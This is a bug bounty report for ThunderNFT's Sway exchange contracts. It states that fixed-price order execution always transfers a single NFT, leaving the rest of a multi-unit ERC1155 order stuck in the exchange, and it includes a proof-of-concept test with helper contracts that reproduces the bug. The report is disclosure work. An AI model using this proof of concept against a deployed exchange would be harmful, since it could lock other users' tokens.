Immunefi Audit CompetitionsIOP _ ThunderNFT 34957 - [Smart Contract - Critical] executionResults always returns an amount of le
Submitted on Sun Sep 01 2024 20:02:08 GMT-0400 (Atlantic Standard Time) by @SimaoAmaro for IOP | ThunderNFT
Report ID: #34957
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/libraries
Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
Executed orders always transfer 1 nft to the taker, when the maker order may have deposited more than 1 amount of the given collection and token id nft to the ThunderExchange.
Vulnerability Details
When executing orders in ThunderExchange::executeOrder(), it gets the result of the execution from the picked strategy, strategy_fixed_price_sale in this case, more precisely from ExecutionResult::s1(), which always returns an amount of 1.
However, orders may be place with an amount bigger than 1 as the ThunderExchange supports erc1155 style nfts. Thus, The following scenario will happen:
- User places an order of a certain erc1155 style nft with an amount bigger than 1.
- Another user executes the order, but only receives 1 nft, instead of the whole amount in the order. The remaining nfts get stuck in the
ThunderExchange.
Impact Details
Stuck nfts in the ThunderExchange.
References
Proof of concept
Proof of Concept
To run a proof of concept, the exchange was modified to allow a maker of type Contract, as Sway tests do not support pranking an EOA.
Additionally, 3 new contracts were created, one user contract simulating a user placing an order, another user contract simulating a user executing the order and a erc1155 contract, simulating an erc1155 token.
The full changes were pushed to a github repository which can be shared with the team if requested.
The main test file is the following:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
royalty_manager_interface::*,
asset_manager_interface::*,
execution_manager_interface::ExecutionManager,
execution_strategy_interface::*,
pool_interface::Pool,
};
use libraries::{
msg_sender_address::*,
constants::*,
order_types::*,
ownable::*,
};
use std::{
block::timestamp,
auth::*,
call_frames::*,
context::*,
contract_id::ContractId,
logging::log,
revert::require,
storage::storage_map::*,
asset::*
};
abi Erc1155 {
#[storage(read, write)]
fn constructor(owner: Identity);
#[storage(read, write)]
fn mint(recipient: Identity, sub_id: SubId, amount: u64);
#[payable]
#[storage(read, write)]
fn burn(sub_id: SubId, amount: u64);
}
abi User {
fn place_order(thunder_exchange_contract: ContractId, maker_order_input: MakerOrderInput);
fn execute_order(thunder_exchange_contract: ContractId, order: TakerOrder, payment_asset: AssetId);
}
#[test()]
fn test_attack() {
initialize_functions();
call_attack();
}
fn initialize_functions() {
//initialize all contracts
let thunder_exch = abi(ThunderExchange, thunder_exchange::CONTRACT_ID);
thunder_exch.initialize();
let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
asset_mngr.initialize();
// required for initialize below contracts
let exchange_contract_id = ContractId::from(thunder_exchange::CONTRACT_ID);
let asset_manger_contract_id = ContractId::from(asset_manager::CONTRACT_ID);
let fixed_strategy = abi(ExecutionStrategy, strategy_fixed_price_sale::CONTRACT_ID);
fixed_strategy.initialize(exchange_contract_id);
let execution_manager = abi(ExecutionManager, execution_manager::CONTRACT_ID);
execution_manager.initialize();
let royalty_manager = abi(RoyaltyManager, royalty_manager::CONTRACT_ID);
royalty_manager.initialize();
let pool = abi(Pool, pool::CONTRACT_ID);
pool.initialize(exchange_contract_id, asset_manger_contract_id);
let erc1155 = abi(Erc1155, erc1155::CONTRACT_ID);
erc1155.constructor(Identity::ContractId(ContractId::this()));
let execution_manager = abi(ExecutionManager, execution_manager::CONTRACT_ID);
execution_manager.add_strategy(ContractId::from(strategy_fixed_price_sale::CONTRACT_ID));
let asset_manager = abi(AssetManager, asset_manager::CONTRACT_ID);
asset_manager.add_asset(AssetId::new(ContractId::from(erc1155::CONTRACT_ID), SubId::zero()));
thunder_exch.set_execution_manager(ContractId::from(execution_manager::CONTRACT_ID));
thunder_exch.set_asset_manager(ContractId::from(asset_manager::CONTRACT_ID));
thunder_exch.set_royalty_manager(ContractId::from(royalty_manager::CONTRACT_ID));
}
fn call_attack() {
let thunder_exchange = ContractId::from(thunder_exchange::CONTRACT_ID);
let strategy = ContractId::from(strategy_fixed_price_sale::CONTRACT_ID);
let user = abi(User, user::CONTRACT_ID);
let erc1155 = abi(Erc1155, erc1155::CONTRACT_ID);
let sub_id = 0x0000000000000000000000000000000000000000000000000000000000000001;
erc1155.mint(Identity::ContractId(ContractId::from(user::CONTRACT_ID)), sub_id, 2);
let payment_asset = AssetId::new(ContractId::from(erc1155::CONTRACT_ID), SubId::zero());
let erc1155_asset = AssetId::new(ContractId::from(erc1155::CONTRACT_ID), sub_id);
let erc1155_amount = 2;
let maker_order = MakerOrderInput {
side: Side::Sell,
maker: Identity::ContractId(ContractId::from(user::CONTRACT_ID)),
collection: ContractId::from(erc1155::CONTRACT_ID),
token_id: sub_id,
price: 1,
amount: erc1155_amount,
nonce: 1,
strategy: strategy,
payment_asset: payment_asset,
expiration_range: 100,
extra_params: ExtraParams {
extra_address_param: Address::zero(),
extra_contract_param: ContractId::zero(),
extra_u64_param: 0,
},
};
let user = abi(User, user::CONTRACT_ID);
user.place_order(thunder_exchange, maker_order);
let user2 = abi(User, user2::CONTRACT_ID);
let taker_order = TakerOrder {
side: Side::Buy,
taker: Identity::ContractId(ContractId::from(user2::CONTRACT_ID)),
maker: Identity::ContractId(ContractId::from(user::CONTRACT_ID)),
nonce: 1,
price: 1,
token_id: sub_id,
collection: ContractId::from(erc1155::CONTRACT_ID),
strategy: strategy,
extra_params: ExtraParams {
extra_address_param: Address::zero(),
extra_contract_param: ContractId::zero(),
extra_u64_param: 0,
},
};
erc1155.mint(Identity::ContractId(ContractId::from(user2::CONTRACT_ID)), SubId::zero(), 1);
user2.execute_order(thunder_exchange, taker_order, payment_asset);
assert(balance_of(ContractId::from(user2::CONTRACT_ID), erc1155_asset) == 1);
assert(balance_of(thunder_exchange, erc1155_asset) == 1);
}
The user contract placing the order is:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
};
use libraries::{
order_types::*,
};
abi User {
fn place_order(thunder_exchange_contract: ContractId, maker_order_input: MakerOrderInput);
}
impl User for Contract {
fn place_order(thunder_exchange_contract: ContractId, maker_order_input: MakerOrderInput) {
let thunder_exchange = abi(ThunderExchange, thunder_exchange_contract.into());
let asset_id = AssetId::new(maker_order_input.collection, maker_order_input.token_id);
thunder_exchange.place_order{asset_id: asset_id.bits(), coins: maker_order_input.amount}(maker_order_input);
}
}
The user contract executing the order is:
contract;
use interfaces::{
thunder_exchange_interface::{ThunderExchange},
};
use libraries::{
order_types::*,
};
abi User {
fn execute_order(thunder_exchange_contract: ContractId, order: TakerOrder, payment_asset: AssetId);
}
impl User for Contract {
fn execute_order(thunder_exchange_contract: ContractId, order: TakerOrder, payment_asset: AssetId) {
let thunder_exchange = abi(ThunderExchange, thunder_exchange_contract.into());
thunder_exchange.execute_order{asset_id: payment_asset.bits(), coins: order.price}(order);
}
}
The erc1155 is the same as the erc721, but the mint function had the checks removed to allow more than 1 coin per token id:
fn mint(recipient: Identity, sub_id: SubId, amount: u64) {
require_not_paused();
// Mint the ERC1155
let _ = _mint(
storage
.total_assets,
storage
.total_supply,
recipient,
sub_id,
amount,
);
}